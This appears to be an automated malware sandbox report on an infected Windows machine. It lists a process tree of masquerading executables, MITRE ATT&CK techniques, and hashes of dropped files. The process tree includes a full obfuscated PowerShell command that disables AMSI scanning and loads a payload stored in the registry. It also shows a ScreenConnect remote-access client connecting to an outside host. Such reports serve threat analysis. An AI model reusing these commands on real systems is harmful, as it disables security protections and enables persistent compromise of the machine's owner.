"C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=fnback9636.site&p=8041&s=7cd9dd8f-f539-46ea-8357-2ce9800b6239&k=BgIAAACkAABSU0ExAAgAAAEAAQA9jYIrttwwC%2fVG8pSgng7hOaOxKOcglvdFFtkWeOWtX8fqsZgIKfVrWuN3su1CgiFbvlCYAExDue6opAYsm4ZcU%2fXlAy9prKBw8dHgYIr5MKTVcZ179o9h8%2f%2bnJY4jOeDKVmcK57L%2fEAFTuKdJ4YjAwIneAffDLjer1Vf%2banxJ%2b%2fQG9GXKFTsCbQPC0DPoXGR4nhNlJsUIT37D9pxvtL82%2fbs5OFG6ebhQ2MBDFYY21oOxjFRMMIWi2Owda95WULvij7v9vchg4Zacetd90xJGtyFFMUL53dS%2fRJ%2bjUcnwVvLNyKx3HwIoiBSP6LM2Nm5EN5LWd0R%2b3hStk2Qltk%2bh"
1⤵
PID:7576
- C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "4fa66a58-5c40-4484-91cc-70f86dc1f111" "User"
  2⤵
  PID:3576
- C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "2518f98f-6ad6-4229-95d0-19263dc34c17" "System"
  2⤵
  PID:3724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 4144 -ip 4144
1⤵
PID:10180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 7956 -ip 7956
1⤵
PID:1992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6264 -ip 6264
1⤵
PID:6824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4144 -ip 4144
1⤵
PID:5220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4144 -ip 4144
1⤵
PID:5276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4144 -ip 4144
1⤵
PID:7500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5628 -ip 5628
1⤵
PID:4788

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:10096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4144 -ip 4144
1⤵
PID:3308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 7956 -ip 7956
1⤵
PID:9568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 4144 -ip 4144
1⤵
PID:9552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3368 -ip 3368
1⤵
PID:7412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3368 -ip 3368
1⤵
PID:2576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1776 -ip 1776
1⤵
PID:5484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 3368 -ip 3368
1⤵
PID:10080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3368 -ip 3368
1⤵
PID:5424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3368 -ip 3368
1⤵
PID:10092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3368 -ip 3368
1⤵
PID:9820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3368 -ip 3368
1⤵
PID:5704

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3368 -ip 3368
1⤵
PID:5776

C:\Windows\system32\cmd.exe
cmd /c copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe" /Y
1⤵
- Process spawned unexpected child process
PID:9212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3368 -ip 3368
1⤵
PID:8424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 3368 -ip 3368
1⤵
PID:10532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 8724 -ip 8724
1⤵
PID:10588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3368 -ip 3368
1⤵
PID:10336

C:\ProgramData\gaeucrwzinlx\bbwduuyjdzsp.exe
C:\ProgramData\gaeucrwzinlx\bbwduuyjdzsp.exe
1⤵
PID:10700
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2812
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  PID:1016

C:\Users\Admin\Desktop\Files\AA_v3.5.exe
"C:\Users\Admin\Desktop\Files\AA_v3.5.exe" -service -lunch
1⤵
PID:6500
- C:\Users\Admin\Desktop\Files\AA_v3.5.exe
  "C:\Users\Admin\Desktop\Files\AA_v3.5.exe"
  2⤵
  PID:580

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
PID:11136

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:11140

C:\Users\Admin\Windows.exe
C:\Users\Admin\Windows.exe
1⤵
PID:11148

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
PID:11192

C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
1⤵
PID:10664
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 10664 -s 472
  2⤵
  - Program crash
  PID:9540

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:11208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3368 -ip 3368
1⤵
PID:10716

C:\ProgramData\noigc\wttjqc.exe
C:\ProgramData\noigc\wttjqc.exe
1⤵
PID:10728

C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
1⤵
PID:8424
- C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
  "C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe"
  2⤵
  PID:11320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 9860 -ip 9860
1⤵
PID:1752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 10664 -ip 10664
1⤵
PID:5412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3368 -ip 3368
1⤵
PID:10540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 9464 -ip 9464
1⤵
PID:4692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:9620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 6200 -ip 6200
1⤵
PID:8588

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 3368 -ip 3368
1⤵
PID:12076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 3368 -ip 3368
1⤵
PID:8928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:UApQWvYNOLHk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WkkomDIkaeVyaT,[Parameter(Position=1)][Type]$VKPvLTWyQw)$UgGtEOZeeBD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'fl'+[Char](101)+'c'+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+'m'+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'T'+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+','+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+''+'d'+''+','+''+'A'+'n'+[Char](115)+''+'i'+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'u'+[Char](116)+'o'+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$UgGtEOZeeBD.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+'i'+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+','+'H'+''+'i'+'de'+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$WkkomDIkaeVyaT).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+''+[Char](105)+'m'+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+'d');$UgGtEOZeeBD.DefineMethod(''+'I'+''+'n'+'v'+'o'+''+[Char](107)+'e','P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+'H'+''+'i'+''+'d'+''+'e'+''+'B'+''+[Char](121)+'S'+[Char](105)+''+'g'+''+','+''+'N'+'ewS'+'l'+'ot'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+'ual',$VKPvLTWyQw,$WkkomDIkaeVyaT).SetImplementationFlags(''+[Char](82)+'unt'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $UgGtEOZeeBD.CreateType();}$ZXtbOqJHVCqTU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+'W'+'i'+'n3'+'2'+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+'fe'+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+'e'+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+'d'+[Char](115)+'');$yDXYmWAhyptegu=$ZXtbOqJHVCqTU.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+''+'d'+'d'+'r'+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+'S'+''+'t'+'at'+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fmOUXjAhmFXQtZQkiOH=UApQWvYNOLHk @([String])([IntPtr]);$FDQXaYxXxDejFsXqLYjbDf=UApQWvYNOLHk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cfEcxzRUCWD=$ZXtbOqJHVCqTU.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+'e'+[Char](108)+'32'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$oQlIPAYnZBSKyG=$yDXYmWAhyptegu.Invoke($Null,@([Object]$cfEcxzRUCWD,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$CkgNhhycbpNIvfEuV=$yDXYmWAhyptegu.Invoke($Null,@([Object]$cfEcxzRUCWD,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$CyUOcPJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oQlIPAYnZBSKyG,$fmOUXjAhmFXQtZQkiOH).Invoke(''+'a'+''+[Char](109)+'s'+'i'+''+[Char](46)+''+'d'+''+[Char](108)+'l');$plooLZOLhzBifKDJf=$yDXYmWAhyptegu.Invoke($Null,@([Object]$CyUOcPJ,[Object]('A'+'m'+'si'+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+'B'+'uf'+[Char](102)+''+[Char](101)+''+'r'+'')));$fDQLYPqxqF=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CkgNhhycbpNIvfEuV,$FDQXaYxXxDejFsXqLYjbDf).Invoke($plooLZOLhzBifKDJf,[uint32]8,4,[ref]$fDQLYPqxqF);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$plooLZOLhzBifKDJf,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CkgNhhycbpNIvfEuV,$FDQXaYxXxDejFsXqLYjbDf).Invoke($plooLZOLhzBifKDJf,[uint32]8,0x20,[ref]$fDQLYPqxqF);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+'WA'+'R'+''+'E'+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+[Char](115)+'ta'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:12248

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:9972

C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
1⤵
PID:12156
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 12156 -s 472
  2⤵
  - Program crash
  PID:7900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 3368 -ip 3368
1⤵
PID:12440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 3368 -ip 3368
1⤵
PID:6400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 12156 -ip 12156
1⤵
PID:12008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9768 -ip 9768
1⤵
PID:11472

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:13148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3368 -ip 3368
1⤵
PID:6976

C:\ProgramData\ejrobxh\sspp.exe
C:\ProgramData\ejrobxh\sspp.exe
1⤵
PID:4952

C:\Users\Admin\AppData\Roaming\$77Security.exe
C:\Users\Admin\AppData\Roaming\$77Security.exe
1⤵
PID:8964

C:\Users\Admin\Windows.exe
C:\Users\Admin\Windows.exe
1⤵
PID:10924

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
PID:12780

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
PID:244

C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
1⤵
PID:12412
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 12412 -s 472
  2⤵
  - Program crash
  PID:9876

C:\Users\Admin\AppData\Roaming\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive.exe
1⤵
PID:9144

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:4092

C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
1⤵
PID:1744
- C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
  "C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe"
  2⤵
  PID:1772

C:\Program Files\VideoLAN\VLC\conhost.exe
"C:\Program Files\VideoLAN\VLC\conhost.exe"
1⤵
PID:11380

C:\Users\Admin\AppData\Local\WahhVasyaa\88851n80.exe
C:\Users\Admin\AppData\Local\WahhVasyaa\88851n80.exe
1⤵
PID:6332

C:\Windows\memeem.exe
C:\Windows\memeem.exe
1⤵
PID:7876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 12412 -ip 12412
1⤵
PID:10356

C:\Windows\SysWOW64\werfault.exe
werfault.exe /h /shared Global\7aeb307da27b4c938d93848c1ffac270 /t 8060 /p 9776
1⤵
PID:11904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 800 -p 6388 -ip 6388
1⤵
PID:11096

C:\Recovery\WindowsRE\4363463463464363463463463.exe
C:\Recovery\WindowsRE\4363463463464363463463463.exe
1⤵
PID:9724

C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe
"C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe"
1⤵
PID:11384

C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
1⤵
PID:11160
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 11160 -s 472
  2⤵
  - Program crash
  PID:10588

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
PID:10164

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe"
1⤵
PID:10416

C:\ProgramData\ejrobxh\sspp.exe
C:\ProgramData\ejrobxh\sspp.exe
1⤵
PID:3272

C:\Users\Admin\AppData\Roaming\service.exe
C:\Users\Admin\AppData\Roaming\service.exe
1⤵
PID:11584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 900 -p 12864 -ip 12864
1⤵
PID:13032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 808 -p 11160 -ip 11160
1⤵
PID:10832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

T1556

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Authentication Process

T1556

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

ODBC_VEN.exe

Path C:\Archivos de programa\Unico - Ventas\ODBC_VEN.exe
Size 968KB
SHA256 acda53d2a8f0d67a56e49b4f93d4f95e19e6ac7e35da9ba281314c67f4ef4671
MD5 64e7c3e96a954a42bb5f29a0af1a6b3e
SHA1 38e4194c69b5b5f8bac1818f45d23b9465b220c9
SHA512 80fd63b8279dadd805a855d222d370698e2b0ba69f6d2f28c39ac0bc8b6191da05cc51ad174112628cc4e56b2a7e59d3cafc55361b77fa4c12dde33f88a6a551
SSDEEP 12288:Tf8mtkOv437pye2iqG1My1/VjApv5p/ao6BRXk8KXIGoLlURfU1VVZkiHKynjfO2:4y/4UiZTW//ao6BRm4hLKmVVT6QiZsJp
MD5 SHA1 SHA512 SSDEEP

Submit Download

odbc.ini

Path C:\Archivos de programa\Unico - Ventas\odbc.ini
Size 234B
SHA256 55b82d79e9e84a44e4c917bc8efc180a47e4d30f53bc966648cd491c0b575c6e
MD5 9ccfc58e3f9b3f7c1977a23d45598691
SHA1 938f692e7610cd25e7c8fcbc3813c2e766400df7
SHA512 682d63eece6978df000feb2e5a1c60d0e42f1cbd19f06c3aa21323b91a758f05bd2c655e9aa49d9a5427346a3c16d7a6175195fc40f15b05d2dd231ada74b003
MD5 SHA1 SHA512

Submit Download

e64a7ea.rbs

Path C:\Config.Msi\e64a7ea.rbs
Size 214KB
SHA256 26e331c8dff8ef3de222bcca1553589844e40243db54936c5c5ffb73a33a103b
MD5 40296f65bae05987b84c53a3e3c525e5
SHA1 ae8f6f27aa40c7c1c01c45cdc2299580df2b5799
SHA512 9883ce20efe3874ccd011dc2312072766b3628ce34abe6daa59edd2718723591f5e2b3e03c84cb5386990c799b4fd06b5cf4d861634f043c34d68783bc96b5c2
SSDEEP 3072:r69LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGt:r6uH2aCGw1ST1wQLdqvt
MD5 SHA1 SHA512 SSDEEP

Submit Download

conhost.exe

Path C:\Program Files\VideoLAN\VLC\conhost.exe
Size 1.5MB
SHA256 72ac498f8d99dd2b4c4c4f68a2c709c97dd3f397ac02be6ad1b5b874450c146e
MD5 8ebfb00f97e5120227605496dee1ba2d
SHA1 3c225ff088d0fde20c4f2908363909dcc8efdc8c
SHA512 d9e566c6ca2db028dce7a7ee068bddd86ad2def9a8fe222af4be72e8618f08423b8bd81a9f709bc86c161b63fc9bade35138386d8cc3411a8fe23c5a84ce9328
SSDEEP 24576:U+varIF+BiWM5bL6kxfV1dEX2GEOQpQcHZbEmdOpt6FLW3q9:U4arIcqJLhK2GEFScHD8OA3
MD5 SHA1 SHA512 SSDEEP

Submit Download

AAEBAF

Path C:\ProgramData\CBGCBKFBGIII\AAEBAF
Size 171B
SHA256 917d0908b4371943c4168344a36bd3f862685bc29450a18ea93acfb111dc9dec
MD5 5c76d529171bd1e07e258d342ac7e59c
SHA1 9781c06569223e24614137e8914ea2cc85bd0fc6
SHA512 1461696e3a8d49a01412e43801ef4951b166347d847994180aa6c62ba6f5d7ff54e5f0e4dfb3b8d48b94388d3b5e0c68c928a6a53920cf41ea44279dc25f20b3
MD5 SHA1 SHA512

Submit Download

HJECAA

Path C:\ProgramData\CBGCBKFBGIII\HJECAA
Size 285B
SHA256 e5f6ed0c70d8e2e172f0decd93ceec55341dc6d0dc910308129f364645f64180
MD5 242b66f61d075f06316774148ed7b361
SHA1 ee9f46a214cf07be556f91ae755ed3f0d69e0878
SHA512 6e768f12ed74f033fac710172f97ba147ece7452b5b14f279b7a434c63c31be79f5f2bb10815c7f47dd74b8b462e9b70b50b9f58cb45063aec54d66adc0d2649
MD5 SHA1 SHA512

Submit Download

GDHDHJEBGHJKFIECBGCBGCAFII

Path C:\ProgramData\GDHDHJEBGHJKFIECBGCBGCAFII
Size 512KB
SHA256 72eef9e8ef5f9e5e1cb7c8869846e005bbeea66ffb8e25689e1e9569b6818f1a
MD5 b67b1b4d4369b72d4c251b0d0b6ee3a9
SHA1 e76876b9d5835802f8961fb79aaf5bb395d1520e
SHA512 7984ef242144cbbc35241e12c06e47b2899da034626fb0dcc489fa8b14d5b1fe3b1b737c6fdbdf85919ce359dadd35d69f85e807b02017111b67757e035b85c4
SSDEEP 24:DQDnS232mNVpP965RayKN0MG/ldov2jv+t5:DQzS6rh9WTHoeL+t5
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome.dll

Path C:\ProgramData\chrome.dll
Size 676KB
SHA256 81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4
MD5 eda18948a989176f4eebb175ce806255
SHA1 ff22a3d5f5fb705137f233c36622c79eab995897
SHA512 160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85
SSDEEP 12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5 SHA1 SHA512 SSDEEP

Submit Download

mozglue.dll

Path C:\ProgramData\mozglue.dll
Size 593KB
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
